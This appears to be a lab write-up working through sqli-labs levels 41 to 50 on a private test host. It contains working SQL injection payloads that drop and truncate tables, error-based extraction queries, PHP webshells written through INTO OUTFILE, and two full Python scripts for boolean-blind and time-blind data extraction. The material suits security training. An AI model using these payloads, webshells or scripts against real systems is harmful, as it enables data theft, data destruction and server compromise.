catalogue
Less41
This level is similar to Less40. First find the closure through Boolean blind injection, and then stack and inject recklessly.
Find closure:
http://192.168.101.16/sqli-labs-master/Less-41/?id=1 There are query results http://192.168.101.16/sqli-labs-master/Less-41/?id=1' No query results http://192.168.101.16/sqli-labs-master/Less-41/?id=1" No query results http://192.168.101.16/sqli-labs-master/Less-41/?id=1-- s has query results
No need to close (I like the pink of this level too much)
This is about deleting the xiang table of the xiannv database with Stack Injection:
http://192.168.101.16/sqli-labs-master/Less-41/?id=1;drop table xiannv.xiang-- s
You can see from the database that there are no tables in the xiannv database
The code of this level is similar to that of the previous levels. I won't look at it
Less42
Several links turned around, only http://192.168.101.16/sqli-labs-master/Less-42/index.php There is an input box
Note that when using hackbar for sql injection, the url column of hackbar needs to be filled in:
http://192.168.101.16/sqli-labs-master/Less-42/login.php
Because the data is submitted to login.php, the web page has the function of jumping when submitting data, but hackbar does not
Post data respectively enter the following two payload s to test whether there is an error injection point in the Username input box:
login_user=admin'&login_password=pass&mysubmit=Login
login_user=admin"&login_password=pass&mysubmit=Login
The results of the two times are the same, as shown in the figure below. No error is reported and the login is not successful
Post data respectively enter the following two payload s to test whether there is an error injection point in the Password input box:
login_user=admin&login_password=pass'&mysubmit=Login
login_user=admin&login_password=pass"&mysubmit=Login
The one with single quotation marks (the first one) echoes the sql syntax error shown in the figure below. From the error information, the closed quotation marks are single quotation marks
The previous level deleted the xiang table of the xiannv database, and this level deleted the xiannv database
Post data input:
login_user=admin&login_password=pass';drop database xiannv#&mysubmit=Login
navicat on the server closes the connection and reconnects again. It is found that there is no xiannv database in the database list on the left
The following code is analyzed:
Submit the form data to login.php
Go back to login.php and see that the value of login_user is used mysqli_real_escape_string() to escape special characters, and this level does not meet the conditions of wide byte injection, so the single quotation mark of username cannot be closed. However, the value of login_password is substituted into the sql statement without processing, and the single quotation mark can be closed to bring in the added sql statement.
Less43
It's similar to the last level, but it's different
Again, if hackbar is used for injection, the address column of hackbar should be filled in:
http://192.168.101.16/sqli-labs-master/Less-43/login.php
That is, the target page of the form submission
Follow the routine of the previous level to find the closure and try
login_user=admin&login_password=pa'&mysubmit=Login
It is found that the closing is')
Next, it's time to do whatever you want. Because the test database created by stack injection has been tossed in the previous few levels, I first manually create a test database on the server, and then continue to toss it.
As shown in the figure below, I built a plant table in the earth database, which contains three rows of data, which are the names of three kinds of flowers
Then enter in the Post data of hackbar:
login_user=admin&login_password=pa');delete from earth.plant#&mysubmit=Login
Look at the server. All the flowers in the plant table have been pulled out
Note: since the results of stacking and injecting two statements are separate, under some code logic (such as this off), sql errors will be reported only when the first statement is wrong. If the first statement is correct, even if there are errors in the second statement, they will not be echoed on the page.
There is nothing to say about the code. It is the same as the customs principle, that is, closing multiple parentheses. In addition, from the code logic, it can be seen that the failure to report sql syntax errors in this customs is judged by whether the first statement is executed successfully. If the first statement is executed successfully, the second statement will be considered as failure and will not report errors.
Less44
In fact, there is not much change in this level. The change is mainly in the step of finding closure. This level will no longer report sql syntax errors, so we need to find closure by Boolean blind annotation.
Specifically, for this shooting range, if the page does not report sql syntax errors after the four closed payload s in Less42 are sent, it means that the page will not echo sql syntax errors.
In fact, the method of blind note finding closure is also very simple. When the correct values of two input boxes such as Benguan are not known, add or 1=1# after the closure symbol in the common payload. If the returned page shows that the login is successful, it indicates that the closure is successful.
Using hackbar to http://192.168.101.16/sqli-labs-master/Less-44/login.php Send the following payload to check whether there is an injection point in the username input box
login_user=admin' or 1=1#&login_password=pass&mysubmit=Login
login_user=admin" or 1=1#&login_password=pass&mysubmit=Login
The page echo is the page with login failure as shown in the figure below, and the injection point is not found in the username input box
Using hackbar to http://192.168.101.16/sqli-labs-master/Less-44/login.php Send the following payload to check whether there is an injection point in the password input box
login_user=admin&login_password=pass" or 1=1#&mysubmit=Login
login_user=admin&login_password=pass' or 1=1#&mysubmit=Login
The first one still shows the page of login failure, but the second one shows the page of login success
Next is the part of stacking injection. Let's stack it:
I still closed the table, and I wrote a record in it by hand
Then in the hackbar http://192.168.101.16/sqli-labs-master/Less-44/login.php Send the following payload to delete the data in the table earth.plant
login_user=admin&login_password=pass';truncate table earth.plant#&mysubmit=Login
On the server, refresh the display of the following plant table and find that the data in the table has been deleted
The related code is basically the same as the code of Less42, but the sql syntax error will not be reported when the first statement fails, so the code will not take a screenshot.
Less45
The difference between this level and the previous level is that it is closed. Go through the closed routine according to the previous level (of course, due to different closures, the payload of the previous level cannot return to the login success page),
When hackbar to http://192.168.101.16/sqli-labs-master/Less-45/login.php Submit payload:
login_user=admin&login_password=pass') or 1=1#&mysubmit=Login
The login success page is returned
Then it's time to think about what this level is for. After thinking for a while, I decided to add a column to earth.plant.
Using hackbar to http://192.168.101.16/sqli-labs-master/Less-45/login.php Submit payload:
login_user=admin&login_password=pass');alter table earth.plant add column num int(10)#&mysubmit=Login
On the server, earth.plant adds a column (field) named num
Less46
Try to take 1, 2 and 3 respectively for the sort value, and you can find that the parameter of this off is the value after order by, that is, the sort parameter value of this off indicates which column of the table is used to arrange the query results
http://192.168.101.16/sqli-labs-master/Less-46/?sort=1 http://192.168.101.16/sqli-labs-master/Less-46/?sort=2 http://192.168.101.16/sqli-labs-master/Less-46/?sort=3
For example, the value of sort in the following figure is 3, which means that the query results are sorted according to the size of the third column, that is, PASSWORD
You can't connect union select after order by. You can try not to report sql syntax errors. If you can, you can use error injection.
Address field input: http://192.168.101.16/sqli-labs-master/Less-46/?sort=3'
sql syntax error is reported. According to the error information, there is no closing symbol in this relationship.
Next, you can use the error injection method to explode the data:
#Gets the names of all databases on the server http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) #Get all table names of pikachu database http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) #Gets all column names of the message table in the pikachu database http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1) #Get all the values of the id and content columns of the message table in the pikachu database http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)
final result
The following payload can be used to write webshell:
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 limit 0,1 into outfile 'C:/phpstudy_pro/WWW/46.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334365D293B3F3E
lines terminated by xxx is to add xxx after each line of the query result, so limit 0,1 is added in the payload to restrict the query result to take only the first line.
webshell written on the server
Important digression:
I originally thought that as long as sort does not exist, the connector can be or, but this is not the case.
For ease of understanding, I will directly demonstrate navicat on the server:
When the query is: SELECT * FROM users ORDER BY 4
An error is reported in the returned result. There is no column 4
When the query is:
SELECT * FROM users ORDER BY 4 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
The query results are output... And it is sorted by the first column.. The fairy was shocked...
Then I tried
SELECT 4 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
Sure enough, the result is 1
According to my conjecture, the result is a Boolean value. All numbers that are not 0 are true. Here, 4 is true, so a short circuit is triggered, and the statements after or are not executed.
According to this speculation, two information can be obtained:
(1) The error report of updatexml is an error report during the execution of sql statements, that is, an error will not be reported until it is executed
(2) If ORDER BY 0, or can be used as the connector
want a go:
SELECT * FROM users ORDER BY 0 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
OK, plan pass~
This code is nothing. Just pay attention to the position of the input parameter in the sql query
Less47
It's basically the same as the previous level, but it's different
Address field input: http://192.168.101.16/sqli-labs-master/Less-47/?sort=1'
From the error report, we can know that the closing is a single quotation mark
The payload of burst data is as follows:
#Gets the names of all databases on the server http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)-- s #Get all table names of pikachu database http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)-- s #Gets all column names of the message table in the pikachu database http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1)-- s #Get all the values of the id and content columns of the message table in the pikachu database http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)-- s
Final result:
Write the payload of webshell as follows:
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' limit 0,1 into outfile 'C:/phpstudy_pro/WWW/47.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334375D293B3F3E -- s
webshell written on server:
This code is different from the previous one in terms of the closing characters of parameters in sql statements. I won't say more
Less48
(there are many analysis parts for finding customs clearance methods in this pass. If you feel bored, you can directly pull it to the bottom)
Address bar entry http://192.168.101.16/sqli-labs-master/Less-48/?sort=1
Return correct query results
Address field input:
http://192.168.101.16/sqli-labs-master/Less-48/?sort=1'
http://192.168.101.16/sqli-labs-master/Less-48/?sort=1"
No query results returned
From the above operation results:
(1) This switch is digital without closing
(2) Error injection cannot be reported at this level, but Boolean blind injection can be used
Now I have to change my python script again... I originally planned to change it to a payload in the form of and/or xxx, which is similar to the original, but I found it impossible... I tried navicat on the server and found that the following statements have the same query results
SELECT * FROM users ORDER BY 3 and 0 SELECT * FROM users ORDER BY 3 and 1 SELECT * FROM users ORDER BY 3 or 0 SELECT * FROM users ORDER BY 3 or 1
The query results are
It seems that this road is impassable
I suddenly remembered that I had encountered this situation in webload before WebGoat (A1) SQL Injection (mitigation)_ Arrow rain mirror House - CSDN blog
So I tried on navicat again. The results returned by the following two query statements are the same as the above figure. The fairy is speechless
SELECT * FROM users ORDER BY (CASE WHEN (1) THEN 1 ELSE 2 END) SELECT * FROM users ORDER BY (CASE WHEN (0) THEN 1 ELSE 2 END)
But the fairy thought again, what about changing the column names after THEN and ELSE? Sure enough
SELECT * FROM users ORDER BY (CASE WHEN (1) THEN id ELSE username END)
The query results are sorted by id
SELECT * FROM users ORDER BY (CASE WHEN (0) THEN id ELSE username END)
The query results are sorted by username
In other words, if I want to use this method, I have to know the column name first... The fairy is speechless again (later think... The column name is echoed on the web page. In fact, this method is OK and wrong)
Baidu searched and found that the rand() function can be used to blind inject when the injection point is in order by. Let's try on navicat first
It is true that the query results of rand(0) and rand(1) are different. This path is not valid
For the convenience of script recognition, add a limit 0,1 at the end to keep only the first line of results.
The idea of this customs clearance is to let the python script recognize the difference between the query results of SELECT * FROM users ORDER BY rand(1) limit 0,1 and SELECT * FROM users ORDER BY rand(0) limit 0,1.
Let's see the final results
#!/usr/bin/python3 # coding=utf-8 """ functions for boolean-based sql injection(GET) :copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved. :license: GNU General Public License v3.0, see LICENSE for more details. """ import requests url = "http://192.168.101.16/sqli-labs-master/Less-48/ "# the url with Exploitable vulnerability shall be filled in according to the actual situation headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request message header, filled in according to the actual situation keylist = [chr(i) for i in range(33, 127)] #Including numbers, upper and lower case letters and visible special characters flag = 'admin3' #The character used to judge whether the additional sql statement is true, which is filled in according to the echo of the web page def Database48(): n = 100 #Predict the maximum possible length of the current database name and fill it in according to the actual situation k = 0 j = n//2 length = 0 db = str() while True: if j>k and j<n and j-k>3: payload1 = "rand(length((select group_concat(schema_name) from information_schema.schemata))>"+str(j)+") limit 0,1-- s" #All payload s shall be filled in according to the actual situation param = { "sort":payload1, } response = requests.get(url, params = param, headers = headers) #The GET method sends a request with payload #print(response.request.headers) #print(response.text) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload2 = "rand(length((select group_concat(schema_name) from information_schema.schemata))="+str(i)+") limit 0,1-- s" param = { "sort":payload2, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the name of all databases contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload3 = "rand(substr((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"') limit 0,1-- s" param = { "sort":payload3, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: db = db+c break print("the name of all databases is "+str(db)) def Tables48(database): n = 100 #Predict the maximum possible length of all table names in the current database, and fill in according to the actual situation k = 0 j = n//2 length = 0 tname = str() while True: if j>k and j<n and j-k>3: payload4 = "rand(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))>"+str(j)+") limit 0,1-- s" param = { "sort":payload4, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload5 = "rand(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))="+str(i)+") limit 0,1-- s" param = { "sort":payload5, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the name of all tables contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload6 = "rand(substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"') limit 0,1-- s" param = { "sort":payload6, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: tname = tname+c break print("the name of all tables is "+str(tname)) def Columns48(database,table): #The table parameter is the name of the data table to be exploded. Remember to add single quotation marks n = 200 #Predict the maximum possible length of all column names in a table, and fill it in according to the actual situation k = 0 j = n//2 length = 0 cname = str() while True: if j>k and j<n and j-k>3: payload7 = "rand(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))>"+str(j)+") limit 0,1-- s" param = { "sort":payload7, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload8 = "rand(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))="+str(i)+") limit 0,1-- s" param = { "sort":payload8, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the name of all columns in current table contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload9 = "rand(substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"') limit 0,1-- s" param = { "sort":payload9, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: cname = cname+c break print("the name of all columns in current table is "+str(cname)) def Content48(database,table,col1,col2): #The table parameter is the name of the data table to be blasted, and col1 and col2 are the columns to be blasted. Remember to add single quotes n = 200 #Predict the maximum possible length of the expected data and fill it in according to the actual situation k = 0 j = n//2 length = 0 content = str() while True: if j>k and j<n and j-k>3: payload10 = "rand(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))>"+str(j)+") limit 0,1-- s" param = { "sort":payload10, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload11 = "rand(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))="+str(i)+") limit 0,1-- s" param = { "sort":payload11, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the content contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload12 = "rand(substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"') limit 0,1-- s" param = { "sort":payload12, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: content = content+c break print("the content is "+str(content))
test result
The source code is not analyzed, but LESS46 of print_r(mysql_error()); is removed
Less49
First, judge whether there is closure. Enter the following payload respectively:
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1" http://192.168.101.16/sqli-labs-master/Less-49/?sort=1'
It is found that the first payload (double quotation marks) returns the correct query result
The second payload (single quotation mark) does not return query results
It can be seen that the closure contains single quotation marks. Use the following payload to verify whether the closure is a single quotation mark
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1'-- s
Returns the correct query result, indicating that the closing is a single quotation mark.
To see if we can blind Boolean injection, we tried the following two groups of payload
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and rand(1)-- s http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and rand(0)-- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=rand(1)' -- s http://192.168.101.16/sqli-labs-master/Less-49/?sort=rand(0)' -- s
Both payload s in the first group return the results shown in the figure below, and there is no difference (I don't understand what sort this is based on...)
In the second group, both payload s return the results shown in the figure below. There is no difference (in fact, order by should not be followed by quotation marks, because quotation marks are not required for either column number or column name. In fact, there are any characters in quotation marks, and the results are the same.)
It seems that there is no blind injection in this level... We can only try the painful time blind injection
Enter the following two payloads. It is found that there is no delay in the echo of the first payload and there is delay in the second payload. The reason for sleep(0.1) here is that there are too many rows of returned value from sql query, and sleep will occur in each row. Therefore, the value setting is a little smaller, and the total amount is about 1.5s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and if(0,sleep(0.1),1) -- s http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and if(1,sleep(0.1),1) -- s
Now I'll change the script of time blind injection I wrote before... Pain
# !/usr/bin/python3 # coding=utf-8 """ functions for time-based sql injection(blind) :copyright: Copyright (c) 2019, Fancy Xiang. All rights reserved. :license: GNU General Public License v3.0, see LICENSE for more details. """ import requests url = "http://192.168.101.16/sqli-labs-master/Less-49/ "# the url with Exploitable vulnerability shall be filled in according to the actual situation headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request message header, filled in according to the actual situation keylist = [chr(i) for i in range(33, 127)] #Including numbers, upper and lower case letters and visible special characters def Database49(): n = 100 #Predict the maximum possible length of the current database name and fill it in according to the actual situation k = 0 j = n//2 length = 0 db = str() while True: if j>k and j<n and j-k>3: payload1 = "1' and if(length((select group_concat(schema_name) from information_schema.schemata))>"+str(j)+",sleep(0.1),1)-- ss" #All payload s shall be filled in according to the actual situation param = { "sort":payload1, } try: response = requests.get(url, params = param, headers = headers,timeout=1) #This script is written according to GET type injection. In case of POST type, the line change method and parameters can be modified, which is the same in all other functions k=k n=j except: n=n k=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload2 = "1' and if(length((select group_concat(schema_name) from information_schema.schemata))="+str(i)+",sleep(0.1),1)-- ss" param = { "sort":payload2, } try: response = requests.get(url, params = param, headers = headers,timeout=1) except: length = i break break else: break print("the name of all databases contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload3 = "1' and if(substr((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss" param = { "sort":payload3, } try: response = requests.get(url, params = param, headers = headers,timeout=1) except: db = db+c break print("the name of all databases is "+str(db)) def Tables49(database): n = 100 #Predict the maximum possible length of all table names in the current database, and fill in according to the actual situation k = 0 j = n//2 length = 0 tname = str() while True: if j>k and j<n and j-k>3: payload4 = "1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))>"+str(j)+",sleep(0.1),1)-- ss" param = { "sort":payload4, } try: response = requests.get(url, params = param, headers = headers,timeout=1) #This script is written according to GET type injection. In case of POST type, the line change method and parameters can be modified, which is the same in all other functions k=k n=j except: n=n k=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload5 = "1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))="+str(i)+",sleep(0.1),1)-- ss" param = { "sort":payload5, } try: response = requests.get(url, params = param, headers = headers,timeout=1) except: length = i break break else: break print("the name of all tables contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload6 = "1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss" param = { "sort":payload6, } try: response = requests.get(url, params = param, headers = headers,timeout=1) except: tname = tname+c break print("the name of all tables is "+str(tname)) def Columns49(database,table): n = 200 #Predict the maximum possible length of all column names in a table, and fill it in according to the actual situation k = 0 j = n//2 length = 0 cname = str() while True: if j>k and j<n and j-k>3: payload7 = "1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))>"+str(j)+",sleep(0.1),1)-- ss" param = { "sort":payload7, } try: response = requests.get(url, params = param, headers = headers,timeout=1) #This script is written according to GET type injection. In case of POST type, the line change method and parameters can be modified, which is the same in all other functions k=k n=j except: n=n k=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload8 = "1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))="+str(i)+",sleep(0.1),1)-- ss" param = { "sort":payload8, } try: response = requests.get(url, params = param, headers = headers,timeout=1) except: length = i break break else: break print("the name of all columns in current table contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload9 = "1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss" param = { "sort":payload9, } try: response = requests.get(url, params = param, headers = headers,timeout=1) except: cname = cname+c break print("the name of all columns in current table is "+str(cname)) def Content49(database,table,col1,col2): n = 200 #Predict the maximum possible length of the expected data and fill it in according to the actual situation k = 0 j = n//2 length = 0 content = str() while True: if j>k and j<n and j-k>3: payload10 = "1' and if(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))>"+str(j)+",sleep(0.1),1)-- ss" param = { "sort":payload10, } try: response = requests.get(url, params = param, headers = headers,timeout=1) #This script is written according to GET type injection. In case of POST type, the line change method and parameters can be modified, which is the same in all other functions k=k n=j except: n=n k=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload11 = "1' and if(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))="+str(i)+",sleep(0.1),1)-- ss" param = { "sort":payload11, } try: response = requests.get(url, params = param, headers = headers,timeout=1) except: length = i break break else: break print("the content contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload12 = "1' and if(substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss" param = { "sort":payload12, } try: response = requests.get(url, params = param, headers = headers,timeout=1) except: content = content+c break print("the content is "+str(content))
test result
The source code of this level is not analyzed. It is similar to the previous level, that is, the sql query statement has a single quotation mark closing that adds to the snake.
Less50
Entering the following two URLs in the browser address bar will report sql syntax errors. It can be seen that this level does not need to be closed
http://192.168.101.16/sqli-labs-master/Less-50/?sort=1" http://192.168.101.16/sqli-labs-master/Less-50/?sort=1'
This is about stack injection, so write a webshell with stack injection. The payload is as follows:
http://192.168.101.16/sqli-labs-master/Less-50/?sort=1;select '<?php assert($_POST[less50]);?>' into outfile 'C:/phpstudy_pro/WWW/less50.php'
webshell written on server
This code is not shown. It is a combination of order by injection level (such as Less46) and stack injection level. Like stack injection level, it can only display the results of the first sql statement, and only when the first statement has a problem, it will report a syntax error; Therefore, the operation of burst data still depends on error injection.